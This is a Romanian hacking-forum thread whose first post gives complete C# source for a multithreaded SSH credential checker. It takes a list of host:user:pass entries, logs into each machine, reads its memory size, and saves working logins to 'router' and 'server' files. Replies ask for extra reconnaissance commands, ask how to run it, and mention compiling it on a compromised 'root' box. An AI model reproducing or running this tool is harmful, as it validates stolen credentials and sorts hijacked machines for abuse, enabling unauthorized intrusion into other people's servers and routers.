mindark Posted October 21, 2012 Report Posted October 21, 2012 (edited) Program scris în C# care sorteaz? o lista de host-uri cu ssh rulat pe port 22, în servere ?i routere, în dependen?? de cît RAM posed?.Hosturile într-un fi?ier aparte în format:host:user:passProgramul îl rulati prin cmd.Îl modific s? ar?te ?ara, uptime, viteza de internet etc., dac? topicul cap?t? aten?ie.Poftim link.Iat? ?i sursa, dac? cuiva îi este interesantusing System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Net;using System.Net.Sockets;using System.Text.RegularExpressions;using System.Threading;using Renci.SshNet;namespace sshb{ class Program { private static readonly Queue<Cred> Hosts = new Queue<Cred>(); private static readonly ManualResetEvent Signal = new ManualResetEvent(false); private static int _threads; private static readonly object Locker = new object(); private static TextWriter _routers; private static TextWriter _servers; static bool CheckHost(string server, int port) { try { using (var client = new TcpClient()) { client.BeginConnect(IPAddress.Parse(server), port, null, null).AsyncWaitHandle.WaitOne(500, true); if (client.Connected) return true; return false; } } catch (Exception) { return false; } } private static void DoWork() { try { while (Hosts.Count > 0) { Cred host; try { host = Hosts.Dequeue(); } catch { continue; } if (!CheckHost(host.Ip, 22)) { continue; } try { using (var client = new SshClient(host.Ip, host.Login, host.Password)) { Console.WriteLine("trying " + host.Ip + " with login " + host.Login + " and password " + host.Password); client.ConnectionInfo.Timeout = TimeSpan.FromSeconds(5); client.Connect(); try { var cmd = client.CreateCommand("cat /proc/meminfo"); cmd.CommandTimeout = TimeSpan.FromSeconds(5); cmd.Execute(); var ram = Int32.Parse(Regex.Matches(cmd.Result, "MemTotal:.*?(\\d+)")[0].Groups[1].Value); if (ram / 1024 < 512) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("router: " + host.Ip); Console.ForegroundColor = ConsoleColor.White; _routers.WriteLine(host.Ip + ":" + host.Login + ":" + host.Password); _routers.Flush(); } else { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("server: " + host.Ip); Console.ForegroundColor = ConsoleColor.White; _servers.WriteLine(host.Ip + ":" + host.Login + ":" + host.Password); _servers.Flush(); } } catch { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("router: " + host.Ip); Console.ForegroundColor = ConsoleColor.White; //If something went wrong with command execution, but it connects _routers.WriteLine(host.Ip + ":" + host.Login + ":" + host.Password); _routers.Flush(); } client.Disconnect(); } } catch { } } } catch { } lock (Locker) { if (Interlocked.Decrement(ref _threads) == 0) { Signal.Set(); } } } public static void Main(string[] args) { if (args.Count() != 4) { Console.WriteLine("sshch <threads> <ips> <routers file> <servers file>"); } else { _routers = new StreamWriter(args[2]); _servers = new StreamWriter(args[3]); _threads = Convert.ToInt32(args[0]); var path = args[1]; if (!File.Exists(path)) { Console.WriteLine("Some arguments files are missing!"); } else if (_threads > File.ReadAllLines(path).Count()) { Console.WriteLine("Threads must be more than ips!"); } else { File.ReadAllLines(path).ToList().ForEach(c => Hosts.Enqueue(new Cred() { Ip = c.Split(':')[0], Login = c.Split(':')[1], Password = c.Split(':')[2] })); for (var i = 0; i < _threads; i++) { new Thread(DoWork).Start(); } Signal.WaitOne(); _routers.Close(); _servers.Close(); } } } } class Cred { public string Ip { get; set; } public string Login { get; set; } public string Password { get; set; } }} Edited October 21, 2012 by mindark 1 Quote
un_nimeni_cunoscut Posted July 1, 2013 Report Posted July 1, 2013 interesant,pacat ca nu merge. Quote
vipul666 Posted July 10, 2013 Report Posted July 10, 2013 tu ce faci postezi doar de dragul de a face posturi? sau esti somnambul si nu sti ce faci? pui semne asa aiurea la fiecare post Quote
BkDService Posted July 10, 2013 Report Posted July 10, 2013 Oooooo merci mult, il cautam de muuult. O sa il testez imediat...il compilez pe un root. Dar arata cumva si motd`u? Pune si tu sa dea comenzile lsproc, uname -a la verificari. Quote
d4rkm4nx99 Posted July 10, 2013 Report Posted July 10, 2013 (edited) te rog fi mai explicit nu prea am inteles cum se foloseste poate un tutorial video ar fi super C:\Users\dark\Desktop\ssh chk>sshch.exesshch <threads> <ips> <routers file> <servers file>C:\Users\dark\Desktop\ssh chk>sshch.exe mai departe ? Multumesc. Edited July 10, 2013 by d4rkm4nx99 Quote
k1NNG Posted July 10, 2013 Report Posted July 10, 2013 Mie mi-l vede ca virus si chrome cand il descarc si bitdefender. Quote
sicilianul Posted July 10, 2013 Report Posted July 10, 2013 Va era greu sa faceti un check-in pe virus total: https://www.virustotal.com/ro/file/19b3437794a893e183373261a6e57f5fdc42cc90818ece0cee17cabfb26b4ec5/analysis/1373439479/ Quote
BkDService Posted July 10, 2013 Report Posted July 10, 2013 da o multime de erori la compilare... vreau sa il folosesc pe linux. ma poti ajuta? Quote
Brenin Posted July 10, 2013 Report Posted July 10, 2013 da o multime de erori la compilare... vreau sa il folosesc pe linux. ma poti ajuta?Tech Dynamics: How to Run C# on Linux OSAsta in cazul in care incercai sa il compilezi ca C++ si nu ca C# Quote
BkDService Posted July 10, 2013 Report Posted July 10, 2013 Tech Dynamics: How to Run C# on Linux OSAsta in cazul in care incercai sa il compilezi ca C++ si nu ca C#da..mi`am dat si eu seama dupaia ca era vb de c#.. Quote